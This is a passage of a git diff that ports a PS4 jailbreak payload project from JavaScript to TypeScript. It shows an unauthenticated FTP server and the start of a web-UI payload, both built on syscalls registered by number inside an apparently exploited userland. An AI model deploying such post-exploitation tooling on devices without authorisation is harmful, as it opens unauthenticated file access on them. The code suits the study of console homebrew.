(client_fd: BigInt, args: string, state: State) { send_response(client_fd, '257', '"' + state.cwd + '" is current directory') } -function handle_cwd (client_fd, args, state) { +function handle_cwd (client_fd: BigInt, args: string, state: State) { if (!args || args === '') { send_response(client_fd, '500', 'Syntax error, command unrecognized') return @@ -319,7 +309,7 @@ function handle_cwd (client_fd, args, state) { if (state.cwd === '/') { send_response(client_fd, '250', 'Requested file action okay, completed') } else { - var last_slash = state.cwd.lastIndexOf('/') + const last_slash = state.cwd.lastIndexOf('/') if (last_slash === 0) { state.cwd = '/' } else { @@ -330,7 +320,7 @@ function handle_cwd (client_fd, args, state) { return } - var new_path + let new_path if (args.charAt(0) === '/') { new_path = args } else { @@ -341,20 +331,14 @@ function handle_cwd (client_fd, args, state) { } } - var path_str = mem.malloc(new_path.length + 1) - for (var i = 0; i < new_path.length; i++) { - mem.view(path_str).setUint8(i, new_path.charCodeAt(i)) - } - mem.view(path_str).setUint8(new_path.length, 0) - // Check if path exists and is a directory using stat - var statbuf = mem.malloc(144) - var stat_ret = stat_sys(path_str, statbuf) + const statbuf = mem.malloc(144) + const stat_ret = stat_sys(new_path, statbuf) log('[FTP] CWD: stat returned ' + (stat_ret instanceof BigInt ? stat_ret.toString() : stat_ret)) // Check stat return - 0 means success - var stat_ok = false + let stat_ok = false if (stat_ret instanceof BigInt) { stat_ok = stat_ret.eq(new BigInt(0, 0)) } else { @@ -369,7 +353,7 @@ function handle_cwd (client_fd, args, state) { } // st_mode is at offset 8 on PS4 (verified from debug output) - var mode = mem.view(statbuf).getUint16(8, true) + const mode = mem.view(statbuf).getUint16(8, true) log('[FTP] CWD: mode=' + mode.toString(16) + ' (mode & S_IFMT)=' + (mode & S_IFMT).toString(16)) if ((mode & S_IFMT) !== S_IFDIR) { @@ -384,18 +368,18 @@ function handle_cwd (client_fd, args, state) { send_response(client_fd, '250', 'Directory changed') } -function handle_cdup (client_fd, args, state) { +function handle_cdup (client_fd: BigInt, args: string, state: State) { handle_cwd(client_fd, '..', state) } -function handle_type (client_fd, args, state) { +function handle_type (client_fd: BigInt, args: string, state: State) { state.type = args.toUpperCase() send_response(client_fd, '200', 'Type set to ' + state.type) } -function handle_pasv (client_fd, args, state) { +function handle_pasv (client_fd: BigInt, args: string, state: State) { log('[FTP] PASV: creating passive socket') - var pasv = create_pasv_socket() + const pasv = create_pasv_socket() if (!pasv) { log('[FTP] PASV: failed to create passive socket') send_response(client_fd, '425', 'Cannot open passive connection') @@ -406,15 +390,15 @@ function handle_pasv (client_fd, args, state) { state.pasv_fd = pasv.fd state.pasv_port = pasv.port - var local_addr = mem.malloc(16) - var addrlen = mem.malloc(4) + const local_addr = mem.malloc(16) + const addrlen = mem.malloc(4) mem.view(addrlen).setUint32(0, 16, true) - var ret = getsockname_sys(client_fd, local_addr, addrlen) + const ret = getsockname_sys(new BigInt(client_fd), local_addr, addrlen) - var ip_bytes = [0, 0, 0, 0] + let ip_bytes = [0, 0, 0, 0] if (!ret || (ret instanceof BigInt && ret.eq(new BigInt(0, 0)))) { - var ip_addr = mem.view(local_addr).getUint32(4, false) + const ip_addr = mem.view(local_addr).getUint32(4, false) ip_bytes[0] = (ip_addr >> 24) & 0xFF ip_bytes[1] = (ip_addr >> 16) & 0xFF ip_bytes[2] = (ip_addr >> 8) & 0xFF @@ -423,64 +407,59 @@ function handle_pasv (client_fd, args, state) { ip_bytes = [127, 0, 0, 1] } - var p1 = (pasv.port >> 8) & 0xFF - var p2 = pasv.port & 0xFF + const p1 = (pasv.port >> 8) & 0xFF + const p2 = pasv.port & 0xFF send_response(client_fd, '227', 'Entering Passive Mode (' + ip_bytes[0] + ',' + ip_bytes[1] + ',' + ip_bytes[2] + ',' + ip_bytes[3] + ',' + p1 + ',' + p2 + ')') } -function handle_list (client_fd, args, state) { +function handle_list (client_fd: BigInt, args: string, state: State) { log('[FTP] LIST: args=' + args + ', pasv_fd=' + state.pasv_fd) if (!state.pasv_fd || state.pasv_fd < 0) { send_response(client_fd, '425', 'Use PASV first') return } - var path = state.cwd === '/' ? '/' : state.cwd + const path = state.cwd === '/' ? '/' : state.cwd log('[FTP] LIST: path=' + path) send_response(client_fd, '150', 'Opening ASCII mode data connection for file list') - var data_fd = accept_data_connection(state.pasv_fd) + const data_fd = accept_data_connection(state.pasv_fd) if (data_fd < 0) { log('[FTP] LIST: data connection failed') send_response(client_fd, '426', 'Connection closed; transfer aborted') - close_sys(state.pasv_fd) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 return } log('[FTP] LIST: data connection established, fd=' + data_fd) - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) - - var dir_fd = fn.open(path_str, O_RDONLY) - log('[FTP] LIST: fn.open returned ' + (dir_fd instanceof BigInt ? dir_fd.toString() : dir_fd)) + const dirRet = open_sys(path, O_RDONLY, 0) + log('[FTP] LIST: fn.open returned ' + (dirRet instanceof BigInt ? dirRet.toString() : dirRet)) // Check for error: -1 as BigInt is 0xFFFFFFFF:0xFFFFFFFF - var open_ok = true - if (dir_fd instanceof BigInt) { - if (dir_fd.hi === 0xFFFFFFFF || dir_fd.lo >= 0x80000000) { + let open_ok = true + let dir_fd: number = 0 + if (dirRet instanceof BigInt) { + if (dirRet.hi === 0xFFFFFFFF || dirRet.lo >= 0x80000000) { open_ok = false log('[FTP] LIST: fn.open failed (BigInt error)') } else { - dir_fd = dir_fd.lo + dir_fd = dirRet.lo } - } else if (dir_fd < 0) { + } else if (dirRet < 0) { open_ok = false } if (open_ok && dir_fd >= 0) { - var dirent_buf = mem.malloc(1024) + const dirent_buf = mem.malloc(1024) while (true) { - var ret = getdents_sys(dir_fd, dirent_buf, new BigInt(0, 1024)) + const ret = getdents_sys(dir_fd, dirent_buf, new BigInt(0, 1024)) // Check for error: -1 as BigInt is 0xFFFFFFFF:0xFFFFFFFF - var bytes_read = 0 + let bytes_read = 0 if (ret instanceof BigInt) { if (ret.hi === 0xFFFFFFFF || ret.lo >= 0x80000000) { log('[FTP] LIST: getdents error (BigInt negative)') @@ -493,77 +472,71 @@ function handle_list (client_fd, args, state) { if (bytes_read <= 0) break - var offset = 0 + let offset = 0 while (offset < bytes_read) { - var d_fileno = mem.view(dirent_buf).getUint32(offset, true) - var d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true) - var d_type = mem.view(dirent_buf).getUint8(offset + 6) - var d_namlen = mem.view(dirent_buf).getUint8(offset + 7) + const d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true) + const d_type = mem.view(dirent_buf).getUint8(offset + 6) + const d_namlen = mem.view(dirent_buf).getUint8(offset + 7) - var name = '' - for (var i = 0; i < d_namlen; i++) { + let name = '' + for (let i = 0; i < d_namlen; i++) { name += String.fromCharCode(mem.view(dirent_buf).getUint8(offset + 8 + i)) } if (name !== '.' && name !== '..') { - var line = format_file_mode(d_type === 4 ? S_IFDIR : S_IFREG) + ' 1 root root 4096 Jan 1 2024 ' + name + '\r\n' - var line_buf = mem.malloc(line.length) - for (var j = 0; j < line.length; j++) { + const line = format_file_mode(d_type === 4 ? S_IFDIR : S_IFREG) + ' 1 root root 4096 Jan 1 2024 ' + name + '\r\n' + const line_buf = mem.malloc(line.length) + for (let j = 0; j < line.length; j++) { mem.view(line_buf).setUint8(j, line.charCodeAt(j)) } - write_sys(data_fd, line_buf, new BigInt(0, line.length)) + write_sys(new BigInt(data_fd), line_buf, new BigInt(0, line.length)) } offset += d_reclen } } - close_sys(dir_fd) + close_sys(new BigInt(dir_fd)) } - close_sys(data_fd) - close_sys(state.pasv_fd) + close_sys(new BigInt(data_fd)) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 send_response(client_fd, '226', 'Transfer complete') } -function handle_retr (client_fd, args, state) { +function handle_retr (client_fd: BigInt, args: string, state: State) { log('[FTP] RETR: args=' + args + ', pasv_fd=' + state.pasv_fd) if (!state.pasv_fd || state.pasv_fd < 0) { send_response(client_fd, '425', 'Use PASV first') return } - var path = build_path(state.cwd, args) + const path = build_path(state.cwd, args) log('[FTP] RETR: path=' + path) - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) - - var file_fd = fn.open(path_str, O_RDONLY) - log('[FTP] RETR: fn.open returned ' + (file_fd instanceof BigInt ? file_fd.toString() : file_fd)) + const fileRet = open_sys(path, O_RDONLY, 0) + log('[FTP] RETR: fn.open returned ' + (fileRet instanceof BigInt ? fileRet.toString() : fileRet)) // Check for error: -1 as BigInt is 0xFFFFFFFF:0xFFFFFFFF - var open_failed = false - if (file_fd instanceof BigInt) { - if (file_fd.hi === 0xFFFFFFFF || file_fd.lo >= 0x80000000) { + let open_failed = false + let file_fd: number = 0 + if (fileRet instanceof BigInt) { + if (fileRet.hi === 0xFFFFFFFF || fileRet.lo >= 0x80000000) { open_failed = true log('[FTP] RETR: fn.open failed (BigInt error)') } else { - file_fd = file_fd.lo + file_fd = fileRet.lo } - } else if (file_fd < 0) { + } else if (fileRet < 0) { open_failed = true } if (open_failed || file_fd < 0) { log('[FTP] RETR: file not found, fd=' + file_fd) send_response(client_fd, '550', 'File not found') - close_sys(state.pasv_fd) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 return } @@ -571,26 +544,26 @@ function handle_retr (client_fd, args, state) { log('[FTP] RETR: file opened, fd=' + file_fd) send_response(client_fd, '150', 'Opening BINARY mode data connection') - var data_fd = accept_data_connection(state.pasv_fd) + const data_fd = accept_data_connection(state.pasv_fd) if (data_fd < 0) { log('[FTP] RETR: data connection failed') send_response(client_fd, '426', 'Connection closed; transfer aborted') - close_sys(file_fd) - close_sys(state.pasv_fd) + close_sys(new BigInt(file_fd)) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 return } - var chunk_size = 8192 - var buf = mem.malloc(chunk_size) - var total_bytes = 0 + const chunk_size = 8192 + const buf = mem.malloc(chunk_size) + let total_bytes = 0 log('[FTP] RETR: starting transfer loop') while (true) { - var ret = fn.read(file_fd, buf, new BigInt(0, chunk_size)) + const ret = read_sys(new BigInt(file_fd), buf, new BigInt(0, chunk_size)) // Check for error or EOF: -1 as BigInt is 0xFFFFFFFF:0xFFFFFFFF - var bytes_read = 0 + let bytes_read = 0 if (ret instanceof BigInt) { if (ret.hi === 0xFFFFFFFF || ret.lo >= 0x80000000) { log('[FTP] RETR: fn.read error (BigInt negative)') @@ -607,20 +580,20 @@ function handle_retr (client_fd, args, state) { } total_bytes += bytes_read - var write_ret = write_sys(data_fd, buf, new BigInt(0, bytes_read)) + const write_ret = write_sys(new BigInt(data_fd), buf, new BigInt(0, bytes_read)) log('[FTP] RETR: read ' + bytes_read + ' bytes, write returned ' + (write_ret instanceof BigInt ? write_ret.toString() : write_ret)) } log('[FTP] RETR: transfer done, total=' + total_bytes + ' bytes') - close_sys(file_fd) - close_sys(data_fd) - close_sys(state.pasv_fd) + close_sys(new BigInt(file_fd)) + close_sys(new BigInt(data_fd)) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 send_response(client_fd, '226', 'Transfer complete') } -function handle_stor (client_fd, args, state) { +function handle_stor (client_fd: BigInt, args: string, state: State) { log('[FTP] STOR: args=' + args + ', pasv_fd=' + state.pasv_fd) if (!state.pasv_fd || state.pasv_fd < 0) { send_response(client_fd, '425', 'Use PASV first') @@ -631,59 +604,54 @@ function handle_stor (client_fd, args, state) { if (!args || args === '' || args === '.' || args === '..') { log('[FTP] STOR: invalid filename') send_response(client_fd, '553', 'Invalid filename') - close_sys(state.pasv_fd) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 return } - var path = build_path(state.cwd, args) + const path = build_path(state.cwd, args) log('[FTP] STOR: path=' + path) // Check if path already exists as a directory - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) - - var statbuf = mem.malloc(144) - var stat_ret = stat_sys(path_str, statbuf) + const statbuf = mem.malloc(144) + const stat_ret = stat_sys(path, statbuf) if (stat_ret instanceof BigInt && stat_ret.eq(new BigInt(0, 0))) { - var mode = mem.view(statbuf).getUint16(8, true) + const mode = mem.view(statbuf).getUint16(8, true) if ((mode & S_IFMT) === S_IFDIR) { log('[FTP] STOR: path is a directory, refusing') send_response(client_fd, '550', 'Cannot overwrite directory') - close_sys(state.pasv_fd) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 return } // File exists - delete it first to avoid overwrite issues log('[FTP] STOR: file exists, deleting first') - var unlink_ret = unlink_sys(path_str) + const unlink_ret = unlink_sys(path) log('[FTP] STOR: unlink returned ' + (unlink_ret instanceof BigInt ? unlink_ret.toString() : unlink_ret)) } log('[FTP] STOR: calling fn.open with flags=' + (O_WRONLY | O_CREAT) + ', mode=0o666') - var file_fd = fn.open(path_str, new BigInt(0, O_WRONLY | O_CREAT), new BigInt(0, 0o666)) - log('[FTP] STOR: fn.open returned ' + (file_fd instanceof BigInt ? file_fd.toString() : file_fd)) + const fileRet = open_sys(path, O_WRONLY | O_CREAT, 0o666) + log('[FTP] STOR: fn.open returned ' + (fileRet instanceof BigInt ? fileRet.toString() : fileRet)) // Check for error: -1 as BigInt is 0xFFFFFFFF:0xFFFFFFFF - var open_failed = false - if (file_fd instanceof BigInt) { - if (file_fd.hi === 0xFFFFFFFF || file_fd.lo >= 0x80000000) { + let open_failed = false + let file_fd: number = 0 + if (fileRet instanceof BigInt) { + if (fileRet.hi === 0xFFFFFFFF || fileRet.lo >= 0x80000000) { open_failed = true log('[FTP] STOR: fn.open failed (BigInt error)') } else { - file_fd = file_fd.lo + file_fd = fileRet.lo } - } else if (file_fd < 0) { + } else if (fileRet < 0) { open_failed = true } if (open_failed || file_fd < 0) { log('[FTP] STOR: cannot create file, fd=' + file_fd) send_response(client_fd, '550', 'Cannot create file') - close_sys(state.pasv_fd) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 return } @@ -691,30 +659,30 @@ function handle_stor (client_fd, args, state) { log('[FTP] STOR: file created, fd=' + file_fd) send_response(client_fd, '150', 'Opening BINARY mode data connection') - var data_fd = accept_data_connection(state.pasv_fd) + const data_fd = accept_data_connection(state.pasv_fd) if (data_fd < 0) { log('[FTP] STOR: data connection failed') send_response(client_fd, '426', 'Connection closed; transfer aborted') - close_sys(file_fd) - close_sys(state.pasv_fd) + close_sys(new BigInt(file_fd)) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 return } - var chunk_size = 8192 - var buf = mem.malloc(chunk_size) - var total_bytes = 0 + const chunk_size = 8192 + const buf = mem.malloc(chunk_size) + let total_bytes = 0 log('[FTP] STOR: starting transfer loop, data_fd=' + data_fd + ', file_fd=' + file_fd) - var loop_count = 0 + let loop_count = 0 while (true) { loop_count++ log('[FTP] STOR: loop ' + loop_count + ' - calling read_sys...') - var ret = read_sys(data_fd, buf, new BigInt(0, chunk_size)) + const ret = read_sys(new BigInt(data_fd), buf, new BigInt(0, chunk_size)) log('[FTP] STOR: loop ' + loop_count + ' - read_sys returned: ' + (ret instanceof BigInt ? ret.toString() : ret)) // Check for error or EOF: -1 as BigInt is 0xFFFFFFFF:0xFFFFFFFF, 0 means EOF - var bytes_read = 0 + let bytes_read = 0 if (ret instanceof BigInt) { if (ret.hi === 0xFFFFFFFF || ret.lo >= 0x80000000) { log('[FTP] STOR: read_sys error (BigInt negative)') @@ -732,29 +700,23 @@ function handle_stor (client_fd, args, state) { log('[FTP] STOR: loop ' + loop_count + ' - calling fn.write with ' + bytes_read + ' bytes...') total_bytes += bytes_read - var write_ret = fn.write(file_fd, buf, new BigInt(0, bytes_read)) + const write_ret = write_sys(new BigInt(file_fd), buf, new BigInt(0, bytes_read)) log('[FTP] STOR: loop ' + loop_count + ' - fn.write returned ' + (write_ret instanceof BigInt ? write_ret.toString() : write_ret)) } log('[FTP] STOR: transfer done, total=' + total_bytes + ' bytes') - close_sys(file_fd) - close_sys(data_fd) - close_sys(state.pasv_fd) + close_sys(new BigInt(file_fd)) + close_sys(new BigInt(data_fd)) + close_sys(new BigInt(state.pasv_fd)) state.pasv_fd = -1 send_response(client_fd, '226', 'Transfer complete') } -function handle_dele (client_fd, args, state) { - var path = build_path(state.cwd, args) +function handle_dele (client_fd: BigInt, args: string, state: State) { + const path = build_path(state.cwd, args) - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) - - var ret = unlink_sys(path_str) + const ret = unlink_sys(path) if (ret instanceof BigInt && ret.eq(new BigInt(0, 0))) { send_response(client_fd, '250', 'File deleted') } else { @@ -762,16 +724,10 @@ function handle_dele (client_fd, args, state) { } } -function handle_mkd (client_fd, args, state) { - var path = build_path(state.cwd, args) +function handle_mkd (client_fd: BigInt, args: string, state: State) { + const path = build_path(state.cwd, args) - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) - - var ret = mkdir_sys(path_str, 0x1FF) + const ret = mkdir_sys(path, 0x1FF) if (ret instanceof BigInt && ret.eq(new BigInt(0, 0))) { send_response(client_fd, '257', '"' + path + '" directory created') } else { @@ -779,16 +735,10 @@ function handle_mkd (client_fd, args, state) { } } -function handle_rmd (client_fd, args, state) { - var path = build_path(state.cwd, args) +function handle_rmd (client_fd: BigInt, args: string, state: State) { + const path = build_path(state.cwd, args) - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) - - var ret = rmdir_sys(path_str) + const ret = rmdir_sys(path) if (ret instanceof BigInt && ret.eq(new BigInt(0, 0))) { send_response(client_fd, '250', 'Directory removed') } else { @@ -796,32 +746,20 @@ function handle_rmd (client_fd, args, state) { } } -function handle_rnfr (client_fd, args, state) { +function handle_rnfr (client_fd: BigInt, args: string, state: State) { state.rename_from = build_path(state.cwd, args) send_response(client_fd, '350', 'Ready for RNTO') } -function handle_rnto (client_fd, args, state) { +function handle_rnto (client_fd: BigInt, args: string, state: State) { if (!state.rename_from) { send_response(client_fd, '503', 'Bad sequence of commands') return } - var path_to = build_path(state.cwd, args) + const path_to = build_path(state.cwd, args) - var from_str = mem.malloc(state.rename_from.length + 1) - for (var i = 0; i < state.rename_from.length; i++) { - mem.view(from_str).setUint8(i, state.rename_from.charCodeAt(i)) - } - mem.view(from_str).setUint8(state.rename_from.length, 0) - - var to_str = mem.malloc(path_to.length + 1) - for (var i = 0; i < path_to.length; i++) { - mem.view(to_str).setUint8(i, path_to.charCodeAt(i)) - } - mem.view(to_str).setUint8(path_to.length, 0) - - var ret = rename_sys(from_str, to_str) + const ret = rename_sys(state.rename_from, path_to) if (ret instanceof BigInt && ret.eq(new BigInt(0, 0))) { send_response(client_fd, '250', 'Rename successful') } else { @@ -831,55 +769,44 @@ function handle_rnto (client_fd, args, state) { state.rename_from = null } -function handle_size (client_fd, args, state) { - var path = build_path(state.cwd, args) +function handle_size (client_fd: BigInt, args: string, state: State) { + const path = build_path(state.cwd, args) - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) - - var statbuf = mem.malloc(144) - var ret = stat_sys(path_str, statbuf) + const statbuf = mem.malloc(144) + const ret = stat_sys(path, statbuf) if (ret instanceof BigInt && ret.eq(new BigInt(0, 0))) { - var size = mem.view(statbuf).getBigInt(48, true) + const size = mem.view(statbuf).getBigInt(48, true) send_response(client_fd, '213', size.toString()) } else { send_response(client_fd, '550', 'Could not get file size') } } -function handle_quit (client_fd, args, state) { +function handle_quit (client_fd: BigInt, args: string, state: State) { send_response(client_fd, '221', 'Goodbye') } -function handle_noop (client_fd, args, state) { +function handle_noop (client_fd: BigInt, args: string, state: State) { send_response(client_fd, '200', 'OK') } -function handle_feat (client_fd, args, state) { +function handle_feat (client_fd: BigInt, args: string, state: State) { // Send feature list - minimal set - var response = '211-Features:\r\n PASV\r\n SIZE\r\n UTF8\r\n211 End\r\n' - var buf = mem.malloc(response.length + 1) - for (var i = 0; i < response.length; i++) { + const response = '211-Features:\r\n PASV\r\n SIZE\r\n UTF8\r\n211 End\r\n' + const buf = mem.malloc(response.length + 1) + for (let i = 0; i < response.length; i++) { mem.view(buf).setUint8(i, response.charCodeAt(i)) } write_sys(client_fd, buf, new BigInt(0, response.length)) } -function handle_mdtm (client_fd, args, state) { +function handle_mdtm (client_fd: BigInt, args: string, state: State) { // Return a fake modification time - just indicates file exists - var path = build_path(state.cwd, args) - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) + const path = build_path(state.cwd, args) - var statbuf = mem.malloc(144) - var ret = stat_sys(path_str, statbuf) + const statbuf = mem.malloc(144) + const ret = stat_sys(path, statbuf) if (ret instanceof BigInt && ret.eq(new BigInt(0, 0))) { // File exists - return a timestamp (format: YYYYMMDDhhmmss) @@ -889,8 +816,8 @@ function handle_mdtm (client_fd, args, state) { } } -function handle_client (client_fd, client_num) { - var state = { +function handle_client (client_fd: BigInt, client_num: number) { + const state: State = { cwd: '/', type: 'A', pasv_fd: -1, @@ -901,14 +828,14 @@ function handle_client (client_fd, client_num) { try { send_response(client_fd, '220', 'PS4 FTP Server Ready') - var running = true + let running = true while (running) { - var line = read_line(client_fd) + const line = read_line(client_fd) if (line.length === 0) break - var parts = line.split(' ') - var cmd = parts[0].toUpperCase() - var args = parts.slice(1).join(' ') + const parts = line.split(' ') + const cmd = parts[0]!.toUpperCase() + const args = parts.slice(1).join(' ') log('[FTP] CMD: ' + cmd + ' ' + args) @@ -962,7 +889,7 @@ function handle_client (client_fd, client_num) { } catch (e) { } finally { if (state.pasv_fd >= 0) { - close_sys(state.pasv_fd) + close_sys(new BigInt(state.pasv_fd)) } close_sys(client_fd) } @@ -970,57 +897,57 @@ function handle_client (client_fd, client_num) { function start_ftp_server () { try { - var server_fd = new_tcp_socket() + const server_fd = new_tcp_socket() - var enable = mem.malloc(4) + const enable = mem.malloc(4) mem.view(enable).setUint32(0, 1, true) - setsockopt_sys(server_fd, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), enable, new BigInt(0, 4)) + setsockopt_sys(new BigInt(server_fd), new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), enable, new BigInt(0, 4)) - var server_addr = mem.malloc(16) + const server_addr = mem.malloc(16) mem.view(server_addr).setUint8(1, AF_INET) mem.view(server_addr).setUint16(2, htons(FTP_PORT), false) mem.view(server_addr).setUint32(4, 0, false) - var ret = bind_sys(server_fd, server_addr, new BigInt(0, 16)) + let ret = bind_sys(new BigInt(server_fd), server_addr, new BigInt(0, 16)) if (ret instanceof BigInt && ret.lo !== 0 && ret.hi !== 0xFFFFFFFF) { throw new Error('bind() failed') } - var actual_addr = mem.malloc(16) - var addrlen = mem.malloc(4) + const actual_addr = mem.malloc(16) + const addrlen = mem.malloc(4) mem.view(addrlen).setUint32(0, 16, true) - ret = getsockname_sys(server_fd, actual_addr, addrlen) + ret = getsockname_sys(new BigInt(server_fd), actual_addr, addrlen) if (ret instanceof BigInt && ret.lo !== 0 && ret.hi !== 0xFFFFFFFF) { throw new Error('getsockname() failed') } - var actual_port = mem.view(actual_addr).getUint16(2, false) + const actual_port = mem.view(actual_addr).getUint16(2, false) - ret = listen_sys(server_fd, new BigInt(0, MAX_CLIENTS)) + ret = listen_sys(new BigInt(server_fd), new BigInt(0, MAX_CLIENTS)) if (ret instanceof BigInt && ret.lo !== 0 && ret.hi !== 0xFFFFFFFF) { throw new Error('listen() failed') } - var ip_str = get_local_ip() + const ip_str = get_local_ip() log('[FTP] Server started: ftp://' + ip_str + ':' + actual_port) utils.notify('FTP Server: ftp://' + ip_str + ':' + actual_port) - var client_num = 0 + let client_num = 0 while (true) { - var client_ret = accept_sys(server_fd, new BigInt(0, 0), new BigInt(0, 0)) - var client_fd = client_ret instanceof BigInt ? client_ret.lo : client_ret + const client_ret = accept_sys(new BigInt(server_fd), new BigInt(0, 0), new BigInt(0, 0)) + const client_fd = client_ret instanceof BigInt ? client_ret.lo : client_ret if (client_fd < 0) { continue } client_num++ - handle_client(client_fd, client_num) + handle_client(new BigInt(client_fd), client_num) } } catch (e) { - log('[FTP] Error: ' + (e.stack || e.message || e)) + log('[FTP] Error: ' + ((e as Error).stack || (e as Error).message || e)) } } diff --git a/src/download0/payloads/web-ui.js b/src/download0/payloads/web-ui.ts old mode 100755 new mode 100644 similarity index 53% rename from src/download0/payloads/web-ui.js rename to src/download0/payloads/web-ui.ts index 7c3ba35..e290126 --- a/src/download0/payloads/web-ui.js +++ b/src/download0/payloads/web-ui.ts @@ -1,3 +1,6 @@ +import { libc_addr } from 'download0/userland' +import { fn, mem, BigInt } from 'download0/types' + // simple server if (libc_addr === null) { @@ -7,68 +10,53 @@ if (libc_addr === null) { jsmaf.remotePlay = true // register socket stuff -try { fn.register(97, 'socket', 'bigint') } catch (e) {} -try { fn.register(98, 'connect', 'bigint') } catch (e) {} -try { fn.register(104, 'bind', 'bigint') } catch (e) {} -try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {} -try { fn.register(106, 'listen', 'bigint') } catch (e) {} -try { fn.register(30, 'accept', 'bigint') } catch (e) {} -try { fn.register(32, 'getsockname', 'bigint') } catch (e) {} -try { fn.register(3, 'read', 'bigint') } catch (e) {} -try { fn.register(4, 'write', 'bigint') } catch (e) {} -try { fn.register(6, 'close', 'bigint') } catch (e) {} -try { fn.register(0x110, 'getdents', 'bigint') } catch (e) {} -try { fn.register(93, 'select', 'bigint') } catch (e) {} +fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint') +fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint') +fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(3, 'read', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(4, 'write', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(5, 'open', ['string', 'number', 'number'], 'bigint') +fn.register(6, 'close', ['bigint'], 'bigint') +fn.register(0x110, 'getdents', ['number', 'bigint', 'bigint'], 'bigint') +fn.register(93, 'select', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint') -var socket_sys = fn.socket -var connect_sys = fn.connect -var bind_sys = fn.bind -var setsockopt_sys = fn.setsockopt -var listen_sys = fn.listen -var accept_sys = fn.accept -var getsockname_sys = fn.getsockname -var read_sys = fn.read -var write_sys = fn.write -var close_sys = fn.close -var getdents_sys = fn.getdents -var select_sys = fn.select +const socket_sys = fn.socket +const connect_sys = fn.connect +const bind_sys = fn.bind +const setsockopt_sys = fn.setsockopt +const listen_sys = fn.listen +const accept_sys = fn.accept +const getsockname_sys = fn.getsockname +const read_sys = fn.read +const write_sys = fn.write +const open_sys = fn.open +const close_sys = fn.close +const getdents_sys = fn.getdents +const select_sys = fn.select -var AF_INET = 2 -var SOCK_STREAM = 1 -var SOCK_DGRAM = 2 -var SOL_SOCKET = 0xFFFF -var SO_REUSEADDR = 0x4 -var O_RDONLY = 0 - -// helper to make string buffer -function str_buf (s) { - var buf = mem.malloc(s.length + 1) - for (var i = 0; i < s.length; i++) { - mem.view(buf).setUint8(i, s.charCodeAt(i)) - } - mem.view(buf).setUint8(s.length, 0) // null terminator - return buf -} +const AF_INET = 2 +const SOCK_STREAM = 1 +const SOCK_DGRAM = 2 +const SOL_SOCKET = 0xFFFF +const SO_REUSEADDR = 0x4 +const O_RDONLY = 0 // scan download0 for js files function scan_js_files () { - var files = [] + const files: string[] = [] // try different paths for payloads dir - var paths = ['/download0/', '/app0/download0/', 'download0/payloads'] - var dir_fd = -1 - var opened_path = '' + const paths = ['/download0/', '/app0/download0/', 'download0/payloads'] + let dir_fd = -1 + let opened_path = '' - for (var p = 0; p < paths.length; p++) { - var path = paths[p] - var path_str = mem.malloc(path.length + 1) - for (var i = 0; i < path.length; i++) { - mem.view(path_str).setUint8(i, path.charCodeAt(i)) - } - mem.view(path_str).setUint8(path.length, 0) - - dir_fd = fn.open(path_str, O_RDONLY) - if (dir_fd instanceof BigInt) dir_fd = dir_fd.lo + for (const path of paths) { + const dirRet = open_sys(path, O_RDONLY, 0) + dir_fd = dirRet.lo if (dir_fd >= 0) { opened_path = path @@ -83,22 +71,20 @@ function scan_js_files () { log('opened: ' + opened_path) - var dirent_buf = mem.malloc(1024) + const dirent_buf = mem.malloc(1024) while (true) { - var ret = getdents_sys(dir_fd, dirent_buf, 1024) - if (ret instanceof BigInt) ret = ret.lo + const ret = getdents_sys(dir_fd, dirent_buf, new BigInt(1024)).lo if (ret <= 0) break - var offset = 0 + let offset = 0 while (offset < ret) { - var d_fileno = mem.view(dirent_buf).getUint32(offset, true) - var d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true) - var d_type = 